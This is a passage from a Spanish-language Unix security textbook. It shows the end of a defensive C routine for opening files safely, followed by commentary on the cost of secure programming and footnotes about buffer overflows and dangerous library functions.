if((fd=open(fileName,O_CREAT|O_TRUNC|O_RDWR))==-1) return( -1 );
mode="wb";
#else
ftruncate(fd,0);
#endif /* NO_FTRUNCATE */
}
stream->filePtr=fdopen(fd,mode);
if(stream->filePtr==NULL)
{
close(fd);
unlink(fileName);
return(-1); /* Internal error, should never happen */
}
}
Como podemos ver, algo tan elemental como una llamada a open() se
ha convertido en todo el código anterior si queremos garantizar unas
mínimas medidas de seguridad; esto nos puede dar una idea de hasta
que punto la programación 'segura' puede complicarse. No obstante,
en muchas ocasiones es preferible toda la complicación y parafernalia
anteriores para realizar un simple open() a que esa llamada se convierta
en un fallo de seguridad en nuestro sistema. No hay ningún programa
que se pueda considerar perfecto o libre de errores (como se cita en el capítulo
23 de [GS96], una rutina de una librería
puede tener un fallo...o un rayo gamma puede alterar un bit de memoria
para hacer que nuestro programa se comporte de forma inesperada), pero cualquier
medida que nos ayude a minimizar las posibilidades de problemas es siempre
positiva.
Notas al pie
- ... años6.1
- En Unix, claro.
- ... overflow6.2
- Realmente el stack smashing es un caso particular del buffer
overflow, aunque al ser el más habitual se suelen confundir ambos
términos ([C$^$98]).
- ... seguridad6.3
- Realmente, algunos de ellos no son necesariamente nocivos; es su uso indebido
y no la intención de su programador lo que los convierte en peligrosos.
- ... años6.4
- Obviamente, si esto es así, denota una escasa preocupación
por la seguridad en ese sistema.
- ... siguientes6.5
- Que sean peligrosas no significa que algunas de ellas no se deban utilizar
nunca, sólo que si las usamos hemos de tomar unas mínimas precauciones.
Next: Auditoría del sistema
Up: Seguridad del sistema Previous: El
sistema de ficheros Índice
General